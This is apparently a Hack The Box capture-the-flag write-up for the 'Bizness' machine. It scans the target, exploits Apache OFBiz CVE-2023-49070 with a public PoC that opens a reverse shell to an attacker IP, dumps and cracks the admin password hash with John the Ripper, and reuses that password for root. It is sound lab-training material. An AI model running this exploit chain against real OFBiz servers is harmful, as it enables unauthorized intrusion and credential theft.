Description
Bizness is an easy Hack The Box machine that features:
- Vulnerable Apache Ofbiz Authentication Bypass and Remote Command Execution
- Privilege Escalation via a customized password hash cracking with John The Ripper and Password Reuse
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.251.57.
$ ping -c 3 10.129.251.57
PING 10.129.251.57 (10.129.251.57) 56(84) bytes of data.
64 bytes from 10.129.251.57: icmp_seq=1 ttl=63 time=47.1 ms
64 bytes from 10.129.251.57: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.129.251.57: icmp_seq=3 ttl=63 time=46.3 ms
--- 10.129.251.57 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 46.318/46.918/47.312/0.431 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.251.57 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
We get three open ports, 22, 80, and 443.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.251.57 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.60 seconds
We get three services: one Secure Shell (SSH), and two Hypertext Transfer Protocol (HTTP) services running on a Linux Debian. As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service in port 80. We observe that the service is hosting a website, http://bizness.htb, so we add it to our /etc/hosts local file.
$ echo "10.129.251.57 bizness.htb" | sudo tee -a /etc/hosts
We observe that the service is redirecting to the HTTPs port. We observe in the browser that the service is hosting a website that offers business solutions.
At the footer we find that the website uses Apache OFBiz. Apache OFBiz is a suite of business applications flexible enough to be used across any industry.
By default, the directory of OFBiz is /ordermgr. When we enter in this directory we find a login page and the version of Apache OFBiz is revealed, 18.12.
This version is vulnerable to an Authentication Bypass, CVE-2023-51467, and to a pre-auth Remote Command Execution, CVE-2023-49070.
Exploitation
To exploit the vulnerability we have a PoC script made by abdoghazy2015, ofbiz-CVE-2023-49070-RCE-POC. We clone the repository, download the dependencies, and open a local port in which we are going to receive the reverse shell. We need to establish Java 11 as our Java version.
$ git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC
$ cd ofbiz-CVE-2023-49070-RCE-POC
$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
$ sudo apt install openjdk-11-jre$ update-java-alternatives --list
java-1.11.0-openjdk-amd64 1111 /usr/lib/jvm/java-1.11.0-openjdk-amd64
java-1.17.0-openjdk-amd64 1711 /usr/lib/jvm/java-1.17.0-openjdk-amd64
$ sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64
$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode, sharing)
$ python exploit.py https://bizness.htb shell 10.10.14.45:1234
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not
$ nc -nvlp 1234
We obtain a reverse shell, so we upgrade it.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.251.57] 46966
bash: cannot set terminal process group (768): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
ofbiz@bizness:/opt/ofbiz$ stty rows 48 columns 156
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash
Post-Exploitation
As console users we only find the current logged user, ofbiz and root.
ofbiz@bizness:/opt/ofbiz$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ofbiz:x:1001:1001:,,,:/home/ofbiz:/bin/bash
We find that the configuration of the program is located in the /opt/ofbiz/framework/entity/config/entityengine.xml. We find that the program is using a Derby database.
<delegator name="default" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" distributed-cache-clear-enabled="false">
<group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
<group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
<group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
</delegator>
The database is located in /opt/ofbiz/runtime/data/derby. As seen in the source code the UserLogin entity saves the password in the currentPassword field. So we are going to search for string in the database containing this entity.
ofbiz@bizness:/opt/ofbiz$cd /opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ grep -rn "UserLogin" . 2>&1 | cut -d: -f2 | xargs strings | grep "UserLogin"
...
<std-String value="updatedUserLogin"/>
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
...
We find one UserLogin entity for admin user, containing the hash of the password, $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. This is not a well-known hash so we need to dig into the source code to decode it. We need to take a look to the cryptBytes and getCryptedBytes function.
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(SECURE_RANDOM.nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(StandardCharsets.UTF_8));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
We see that the hash is in SHA (SHA1) format, the salt of the hash is d which is put in the beginning of the string, and the hash is encoded with URL Safe Base64. John the Ripper does not support this type of hash so we need to convert it to a supported format. We can list the dynamic formats related to SHA1.
$ john --list=subformats | grep sha1
Format = dynamic_22 type = dynamic_22: md5(sha1($p))
Format = dynamic_23 type = dynamic_23: sha1(md5($p))
Format = dynamic_24 type = dynamic_24: sha1($p.$s)
Format = dynamic_25 type = dynamic_25: sha1($s.$p)
Format = dynamic_26 type = dynamic_26: sha1($p) raw-sha1
We can use dynamic_25 format, admin:$dynamic_25$hexadecimalhash$salt. We can convert the URL Safe Base64 to the normal one by changing the _ character to / and the - character to +. After that, we can obtain the hexadecimal hash.
$ echo "uP0/QaVBpDWFeo8+dRzDqRwXQ2I" | base64 -d 2> /dev/null | xxd -p
b8fd3f41a541a435857a8f3e751cc3a91c174362
Finally the full hash for John the Ripper will be.
admin:$dynamic_25$b8fd3f41a541a435857a8f3e751cc3a91c174362$d
We can crack the hash.
$ john --format=dynamic_25 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_25 [sha1($s.$p) 256/256 AVX2 8x1])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
monkeybizness (admin)
1g 0:00:00:00 DONE 6.250g/s 9261Kp/s 9261Kc/s 9261KC/s monkeycrew..mollholl
Use the "--show --format=dynamic_25" options to display all of the cracked passwords reliably
Session completed.
We find the password for the Ofbiz admin user, monkeybizness. In the shell we check that the password is reused for the user root. We have full access to the machine.
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ su root
Password:
ofbiz@bizness:/opt/ofbiz/runtime/data/derby# id
uid=0(root) gid=0(root) grupos=0(root)
Flags
In the root shell we can obtain the user flag and the system flag.
root@bizness:/opt/ofbiz# cat /home/ofbiz/user.txt
<REDACTED>
root@bizness:/opt/ofbiz# cat /root/root.txt
<REDACTED>